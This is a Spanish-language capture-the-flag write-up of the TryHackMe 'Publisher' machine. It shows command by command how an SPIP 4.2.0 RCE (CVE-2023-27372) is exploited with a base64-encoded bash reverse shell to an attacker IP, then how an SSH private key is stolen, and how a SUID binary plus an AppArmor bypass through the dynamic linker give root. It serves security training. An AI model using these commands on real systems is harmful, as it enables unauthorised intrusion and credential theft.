Ir al contenido

Write-Up: Publisher (TryHackMe)

17 de marzo de 2026 por
Write-Up: Publisher (TryHackMe)
Gerardo

Resumen Ejecutivo

Este writeup presenta un análisis detallado de una evaluación de seguridad realizada en una máquina de TryHackMe, simulando un escenario de penetración ética. El objetivo fue identificar vulnerabilidades, explotarlas para obtener acceso inicial y escalar privilegios hasta alcanzar control total (root). Se utilizaron herramientas estándar de pentesting como Nmap, FFUF, Searchsploit y técnicas de evasión de defensas como AppArmor. El enfoque sigue una metodología estructurada basada en el ciclo de penetración: reconocimiento, enumeración, explotación, post-explotación y escalada de privilegios. Todas las acciones se realizaron en un entorno controlado, respetando principios éticos y legales.

Los hallazgos principales incluyen una vulnerabilidad crítica en el CMS SPIP (CVE-2023-27372) que permitió ejecución remota de código (RCE) sin autenticación, seguida de una escalada de privilegios mediante un binario SUID personalizado y evasión de restricciones de AppArmor. Este informe busca no solo documentar el proceso, sino también proporcionar insights académicos sobre las implicaciones de seguridad en sistemas basados en Linux y CMS de código abierto.

Introducción

En el contexto de la ciberseguridad, las evaluaciones de penetración (pentesting) son esenciales para identificar debilidades en sistemas informáticos antes de que sean explotadas por actores maliciosos. Este caso de estudio examina una máquina objetivo running un servidor web con CMS SPIP, destacando cómo configuraciones inadecuadas y versiones desactualizadas pueden llevar a compromisos graves. La máquina opera bajo Ubuntu Linux, con servicios expuestos en puertos 22 (SSH) y 80 (HTTP).

El proceso se inicia con un escaneo de puertos para mapear el panorama de la red, seguido de enumeración de servicios y directorios. Posteriormente, se identifica y explota una vulnerabilidad conocida, culminando en la obtención de flags de usuario y root como prueba de concepto (PoC).

Metodología

Se empleó una aproximación sistemática dividida en fases:

  1. Reconocimiento y Escaneo: Identificación de puertos abiertos y servicios.
  2. Enumeración: Análisis de directorios, versiones de software y configuraciones.
  3. Explotación: Uso de exploits públicos para ganar acceso inicial.
  4. Post-Explotación: Movimiento lateral y escalada de privilegios.
  5. Análisis y Evasión: Identificación de mecanismos de defensa y técnicas de bypass.

Herramientas utilizadas incluyen Nmap para escaneo, FFUF para fuzzing de directorios, Searchsploit para búsqueda de exploits, y comandos nativos de Linux para análisis interno.

Fase 1: Reconocimiento y Escaneo de Puertos

El proceso comienza con un escaneo inicial utilizando Nmap para detectar puertos abiertos y evitar detección por firewalls o sistemas de intrusión.

Comando ejecutado:

Terminal

sudo nmap -Pn -p- --open -sS --min-rate 5000 -v 10.82.177.85
        

Este comando realiza un escaneo SYN sigiloso (-sS), ignora el descubrimiento de hosts (-Pn), escanea todos los puertos (-p-), y filtra solo aquellos abiertos (--open). La tasa mínima de paquetes (--min-rate 5000) acelera el proceso mientras mantiene la precisión.

Resultados:

  • Puertos abiertos identificados: 22 (TCP) y 80 (TCP).
  • Tiempo de ejecución: Aproximadamente 38.49 segundos.

Posteriormente, se realiza un escaneo detallado de versiones y scripts en los puertos encontrados:

Comando ejecutado:

Terminal

nmap -sCV -p80,22 -oN escaneo 10.82.177.85
        
  • -sC: Ejecuta scripts predeterminados para enumeración.
  • -sV: Detecta versiones de servicios.
  • -oN: Guarda resultados en formato normal.

Hallazgos:

  • Sistema Operativo: Ubuntu Linux.
  • Puerto 22 (SSH): Abierto. Versión OpenSSH 8.2p1. Potencialmente útil para acceso autenticado si se obtienen credenciales.
  • Puerto 80 (HTTP): Abierto. Servidor Apache 2.4.41.
  • Pista Crítica: El título de la página web es "Publisher's Pulse: SPIP Insights & Tips", revelando el uso del CMS SPIP (Sistema de Publicación en Internet).
 


Fase 2: Enumeración de la Aplicación Web

Accedemos al servidor HTTP mediante un navegador web ingresando la IP 10.82.177.85. La página principal muestra un sitio basado en SPIP, con secciones como "Home", "Gallery", "Tutorials", etc.

 


Para enumerar directorios y archivos, se utiliza FFUF, una herramienta de fuzzing rápida.

Comando ejecutado:

Terminal

ffuf -u "http://10.82.177.85/FUZZ" -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -mc all -fs 0 -fc 404
        
  • -u: URL con placeholder FUZZ para inyección de palabras.
  • -w: Ruta al wordlist (diccionario de términos comunes; alternativamente, usar /usr/share/wordlists/dirb/common.txt si seclists no está instalado).
  • -mc all: Muestra todos los códigos de estado HTTP.
  • -fc 404: Filtra respuestas "Not Found".
  • -fs 0: Filtra respuestas de tamaño cero.

Resultados:

  • Archivos de configuración protegidos (.htaccess, .htpasswd) devuelven 403 Forbidden.
  • Directorio /spip identificado mediante redirección 301, confirmando la instalación del CMS.


 

Inspeccionando el código fuente de la página (Ctrl + U), se identifica la versión de SPIP:

Código HTML relevante:

 


Fase 3: Búsqueda y Preparación de Exploits

Con la versión SPIP 4.2.0 confirmada, se busca exploits conocidos utilizando Searchsploit.

Comando ejecutado:

Terminal

searchsploit spip 4.2.0
        

Resultados:

  • Exploit: SPIP v4.2.0 - Remote Code Execution (Unauthenticated) | php/webapps/51536.py

Esta vulnerabilidad corresponde a CVE-2023-27372, permitiendo RCE sin autenticación.

 


1. Obtención y Preparación del Exploit

Descarga del exploit:

Terminal

searchsploit -m 51536
        

Al ejecutar el script (51536.py), surge un error de compatibilidad con urllib3 (AttributeError: DEFAULT_CIPHERS). Solución: Editar el archivo y comentar la línea 63:

Código Python editado:

Python

# requests.packages.urllib3.util.ssl_._DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
        

2. Evasión de Filtros con Base64

Intentos iniciales de inyectar una reverse shell fallan debido a caracteres especiales que rompen la sintaxis PHP. Se opta por codificación Base64 para evadir filtros.

Generación del payload (IP atacante: 192.168.144.88, Puerto: 4444):

Terminal

echo -n "bash -i >& /dev/tcp/192.168.144.88/4444 0>&1" | base64
        

Resultado:

Text

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0NC44OC80NDQ0IDA+JjE=
        

Fase 4: Explotación y Acceso Inicial

Configuración del listener:

Terminal

nc -lvnp 4444
        

Ejecución del exploit:

Terminal

python3 51536.py -u http://10.82.177.85/spip/ -v -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0NC44OC80NDQ0IDA+JjE= | base64 -d | bash"
        

Resultado: Conexión inversa exitosa como usuario www-data.

 


Fase 5: Post-Explotación y Escalada a Usuario Think

Desde la shell como www-data, se navega para encontrar claves SSH:

Comandos ejecutados secuencialmente:

Terminal

cd /home/think
ls -la
ls -la .ssh
cat .ssh/id_rsa
        

Se copia la clave privada id_rsa a la máquina atacante, se asignan permisos:

Terminal

nano id_rsa  # Pegar contenido
chmod 600 id_rsa
        

Conexión SSH:

Terminal

ssh -i id_rsa [email protected]
        

Obtención de la flag de usuario:

Terminal

ls
cat user.txt
        
 


Fase 6: Escalada de Privilegios a Root

Búsqueda de binarios SUID:

Terminal

find / -perm -u=s -type f 2>/dev/null
        

Resultado relevante: /usr/sbin/run_container

Análisis con strings:

Terminal

strings /usr/sbin/run_container
        

Revela ejecución de /opt/run_container.sh.

Permisos del script:

Terminal

ls -l /opt/run_container.sh
        

Intento de modificación falla debido a AppArmor:

Terminal

echo "bash -p" > /opt/run_container.sh
# Error: Permission denied
        

Evasión de AppArmor usando dynamic linker:

Terminal

/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/bash
        

Modificación exitosa:

Terminal

echo "bash -p" > /opt/run_container.sh
        

Ejecución:

Terminal

/usr/sbin/run_container
whoami  # root
cat /root/root.txt
        
 


 


Conclusiones y Recomendaciones

Este ejercicio demuestra la importancia de mantener software actualizado y configurar mecanismos de defensa como AppArmor adecuadamente. Vulnerabilidades en CMS como SPIP pueden llevar a compromisos completos si no se mitigan. Recomendaciones incluyen: parches regulares, revisión de permisos SUID, y monitoreo de logs.


en CTF